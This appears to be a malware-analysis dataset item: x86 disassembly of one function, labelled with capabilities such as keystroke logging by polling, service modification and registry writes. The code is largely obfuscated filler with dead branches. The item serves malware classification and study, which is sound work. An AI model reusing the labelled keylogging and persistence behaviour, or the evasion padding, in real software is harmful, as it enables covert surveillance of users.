Function at 0x1002c505
Capabilities:
Compare security identifiers
Create process on windows
Enumerate gui resources
Get common file path
Get file system object information
Get graphical window text
Get keyboard layout
Log keystrokes via polling
Modify service
Set registry value
Start service

Disassembly:
mov eax, 0x1007d760
call fcn.1007d0e8
mov eax, 0x1284
call fcn.10065f60
mov dword [ebp - 0x30], 0x8ade19d2
push esi
push edi
mov esi, 0xa023703a
mov byte [ebp - 0x71], dl
mov edi, 0x8cf4c59c
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x34], edi
mov edx, 0x91f9e6a0
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x6bc], esi
mov dword [ebp - 0x6b8], esi
mov dword [ebp - 0x6b4], esi
mov dword [ebp - 0x6b0], esi
mov dword [ebp - 0x34], edx
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0xa98], eax
mov dword [ebp - 0xa94], eax
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffe
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002c5a3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x658], 0x648
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c58b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002c5c3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf64], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c5ab
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002c5d9
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x658], 0xe1d9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002c5c8
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x650]
mov eax, dword [ebp - 0x654]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x658]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], 5
mov eax, dword [ebp - 0x34]
push ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x650]
push 1
pop ebx
cmp dword [ebp - 0x34], eax
jne 0x1002c635
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002c637
mov ecx, ebx
jmp 0x1002c639
xor eax, eax
mov ecx, eax
mov dword [ebp - 0xf60], ecx
mov eax, dword [ebp - 0x6b8]
sub ecx, eax
mov dword [ebp - 0xa8c], ecx
mov eax, dword [ebp - 0x4c]
neg eax
push 0xfffffffffffffff9
sbb eax, eax
neg eax
add dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x8ade19d2
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x6dc], esi
mov dword [ebp - 0x6d8], esi
mov dword [ebp - 0x6d4], esi
mov dword [ebp - 0x6d0], esi
mov dword [ebp - 0x34], edx
pop eax
mov dword [ebp - 0xaf8], eax
mov dword [ebp - 0xaf4], eax
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0xaec], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffe
push 3
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x1002c6cc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5ec], 0x648
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002c6b4
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002c6ec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe74], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002c6d4
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002c702
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5ec], 0xe1d9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002c6f1
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp - 0x5e8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5ec]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x6d8]
mov eax, dword [ebp - 0x6d8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
push 5
pop eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp - 0x34], eax
jne 0x1002c759
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002c75b
mov ecx, ebx
jmp 0x1002c75d
xor eax, eax
mov ecx, eax
mov dword [ebp - 0xe70], ecx
mov eax, dword [ebp - 0x6d8]
sub ecx, eax
mov dword [ebp - 0xaec], ecx
mov eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
neg eax
add dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x10], 0x2c70bb74
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002c7a6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x664], 0x8206
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002c78e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1002c7c2
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x664], 0
jne 0x1002c7c0
dec dword [ebp - 0x10]
jns 0x1002c7ae
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x15
jle 0x1002c7e9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c7dd
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x15
jg 0x1002c7cb
push 3
pop edx
mov dword [ebp - 0x30], 0x648261f
mov dword [ebp - 0x64], eax
push 5
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0x142c78ef
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002c820
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9d8], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002c808
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002c840
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x284], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002c828
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 6
push 2
pop ecx
jne 0x1002c983
mov dword [ebp - 0x38], 0xd8cf4c59
mov dword [ebp - 0x1c], 0xccaea0a9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002c87e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf1c], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002c866
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002c89e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x83c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c886
xor eax, eax
cmp dword [ebp - 0x64], eax
jne 0x1002c92c
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x9d4], 0xfffffff8
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
xor ecx, ecx
cmp edx, 0xd5493e6
setg cl
xor edx, edx
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x64]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 8
imul eax, ecx, 0xcb6a
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
jne 0x1002c905
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x9d4], eax
je 0x1002c907
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x64]
jg 0x1002c931
cmp dword [ebp - 0x38], eax
jne 0x1002c936
cmp dword [ebp - 0x30], eax
je 0x1002c938
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002c945
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x284]
xor ecx, ecx
inc dword [ebp - 0x83c]
push 0xfffffffffffffff9
pop edx
mov dword [ebp - 0x284], edx
mov eax, dword [ebp - 0x9d8]
cmp eax, edx
push 0
pop eax
setge cl
push 3
mov dword [ebp - 0xf14], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 6
pop edx
push 2
pop ecx
je 0x1002c850
mov dword [ebp - 0x38], 0x9ba07e4f
mov dword [ebp - 0x64], 0xfffffff8
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x4c], 0xa9f4f9a
mov dword [ebp - 0x34], 0x76cc72b7
mov dword [ebp - 0x5c], 0x791f
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002c9c8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7f4], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c9b4
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002c9de
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x84c], 0xf4d4e20
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c9cd
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
push 5
pop edx
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x64]
je 0x1002c9f8
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002ca1a
mov eax, dword [ebp - 0x7f4]
mov ecx, dword [ebp - 0x7f4]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setg dl
add eax, edx
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x1002ca3a
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002ca4e
cmp dword [ebp - 0x5c], eax
je 0x1002ca4e
mov eax, ebx
cmp eax, dword [ebp - 0x84c]
jne 0x1002ca61
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002ca63
mov eax, ebx
jmp 0x1002ca63
xor eax, eax
mov dword [ebp - 0x84c], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002ca82
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
mov dword [ebp - 0x30], 0x8ade19d2
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x10], 0x8a1f9496
mov dword [ebp - 0x34], 0xa9ac70c3
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x4c], 0x721f7d96
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002cad0
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1018], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002cab7
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002cae3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
je 0x1002cae3
xor eax, eax
mov edx, eax
jmp 0x1002cae5
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub ecx, 0x6f93
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
xor ecx, ecx
imul eax, dword [ebp - 0x64]
cmp edx, eax
setg cl
xor eax, eax
sub ecx, dword [ebp - 0x64]
cmp ecx, 0x5aa05d76
jle 0x1002cb1e
mov edx, ebx
cmp dword [ebp - 0x4c], eax
jne 0x1002cb20
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x64]
sub edx, eax
mov dword [ebp - 0x1018], edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
sub eax, edx
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002cb84
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x24c], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002cb6b
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002cb9a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x610], 0x40a9711f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002cb89
mov eax, dword [ebp - 0x248]
xor ecx, ecx
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x248]
mov edx, dword [ebp - 0x30]
sub edx, eax
mov eax, dword [ebp - 0x248]
cmp edx, eax
sete cl
mov dword [ebp - 0x248], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x24c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xd4a55f07
setne al
xor ecx, ecx
cmp eax, 0x9cff
setg cl
xor eax, eax
cmp ecx, 3
setl al
xor ecx, ecx
cmp eax, 7
setl cl
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xffffffff
setne al
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xa781
jle 0x1002cc2b
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add eax, 0xdd33
mov dword [ebp - 0x610], eax
xor eax, eax
mov dword [ebp - 0x6ac], esi
mov dword [ebp - 0x6a8], esi
mov dword [ebp - 0x6a4], esi
mov dword [ebp - 0x6a0], esi
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002cc7f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xff8], 0x8bbca631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002cc67
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002cc9f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x294], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002cc87
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], ebx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
jg 0x1002cd0a
mov dword [ebp - 0x1c], 0x4cdb8faa
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], eax
jl 0x1002cce9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cce4
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002cccc
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002ccfb
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor eax, eax
inc dword [ebp - 0x290]
cmp dword [ebp - 0x290], 1
jle 0x1002ccb9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cd28
push eax
push 0x16a8
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
xor eax, eax
mov dword [ebp - 0x34], 0x91f9e6a0
mov dword [ebp - 0x3c], 0xdf1febae
push 2
mov dword [ebp - 0x28], eax
pop ecx
cmp dword [ebp - 0x28], ecx
jge 0x1002cd59
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x208], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002cd41
xor eax, eax
xor edx, edx
mov dword [ebp - 0x3c], eax
inc edx
jmp 0x1002ce03
mov dword [ebp - 0x10], 0xcce1e2c0
mov dword [ebp - 0x34], 0x388a0193
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
jl 0x1002ce00
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x204]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x208]
mov dword [ebp - 0x34], 0x9d2e
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x1002cde2
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002cdcf
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cdf6
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x1002cdf6
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x208], ecx
dec dword [ebp - 0x10]
jns 0x1002cd7e
xor edx, edx
xor eax, eax
inc edx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edx
jle 0x1002cd64
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0xa18], ecx
mov dword [ebp - 0xa14], ecx
mov dword [ebp - 0xa10], ecx
mov dword [ebp - 0xa0c], ecx
mov dword [ebp - 0x2c], 0x831713b9
push 5
pop ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x30], 0x30fc3532
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffffa
jge 0x1002cf77
mov dword [ebp - 0x38], 0x7e9f21c9
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x1002ce6f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xb8], 0x9d4346
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002ce57
xor eax, eax
cmp dword [ebp - 0xb8], eax
jne 0x1002ce7e
mov esi, eax
cmp dword [ebp - 0x2c], eax
je 0x1002ce80
mov esi, edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x69be5411
setne cl
cmp ecx, 0xed562b99
sbb edx, edx
neg edx
sub edx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
inc ecx
cmp ecx, 0xfffffffb
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002ced4
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xb8], eax
test eax, eax
je 0x1002cfc6
mov dword [ebp - 0x10], 0x19
cmp dword [ebp - 0x10], 0xd
jl 0x1002cf53
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jg 0x1002cf39
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cf25
push 0x1a6c
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0xb8]
inc dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], eax
jle 0x1002cf11
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cf4a
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
jge 0x1002cf09
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002cf6d
xor edx, edx
inc edx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffa
push 0
pop eax
jl 0x1002ce48
xor edx, edx
xor eax, eax
mov esi, 0xa023703a
inc edx
mov dword [ebp - 0x4c], 0xfffffffe
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002cfa1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x638], 0x648
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002cf89
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002cfc1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe8c], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002cfa9
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002d02b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe9
jl 0x1002cf5a
xor edx, edx
inc edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x1002cff4
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x288], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002cfdc
xor eax, eax
mov dword [ebp - 0x30], 0xd
jmp 0x1002d006
dec dword [ebp - 0x288]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x15
jne 0x1002cffd
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe9
jge 0x1002cfd4
jmp 0x1002cf5d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x638], 0xe1d9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002d01a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x638]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push 5
pop eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x630]
cmp dword [ebp - 0x34], eax
jne 0x1002d082
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002d084
mov ecx, edx
jmp 0x1002d086
xor eax, eax
mov ecx, eax
mov dword [ebp - 0xe88], ecx
mov eax, dword [ebp - 0x6a8]
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
mov eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
neg eax
add dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x10], 0x2c70bb74
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x1002d0cf
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x58c], 0x8206
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002d0b7
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1002d0eb
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x58c], 0
jne 0x1002d0e9
dec dword [ebp - 0x10]
jns 0x1002d0d7
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x15
jle 0x1002d112
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d106
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x15
jg 0x1002d0f4
xor edx, edx
inc edx
mov dword [ebp - 0x30], 0x648261f
mov dword [ebp - 0x64], eax
push 5
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0x142c78ef
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002d14b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x948], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002d132
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002d16b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3f0], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002d153
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 6
jne 0x1002d2ba
mov dword [ebp - 0x38], 0xd8cf4c59
mov dword [ebp - 0x1c], 0xccaea0a9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002d1a8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf94], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002d18f
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002d1cb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x804], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d1b3
xor eax, eax
cmp dword [ebp - 0x64], eax
jne 0x1002d261
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x944], 0xfffffff8
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
xor ecx, ecx
cmp edx, 0xd5493e6
setg cl
xor edx, edx
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x64]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 8
imul eax, ecx, 0xcb6a
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
jne 0x1002d234
xor eax, eax
cmp dword [ebp - 0x944], eax
jne 0x1002d234
mov edx, eax
jmp 0x1002d239
xor esi, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x64]
jg 0x1002d266
xor edx, edx
inc edx
cmp dword [ebp - 0x38], eax
jne 0x1002d26e
xor edx, edx
inc edx
cmp dword [ebp - 0x30], eax
je 0x1002d270
mov eax, edx
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002d27d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3f0]
xor ecx, ecx
inc dword [ebp - 0x804]
push 0xfffffffffffffff9
pop esi
mov dword [ebp - 0x3f0], esi
mov eax, dword [ebp - 0x948]
cmp eax, esi
push 0
setge cl
mov dword [ebp - 0xf8c], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 6
pop eax
je 0x1002d178
mov esi, 0xa023703a
mov dword [ebp - 0x30], 0x8ade19d2
mov dword [ebp - 0x38], 0x9ba07e4f
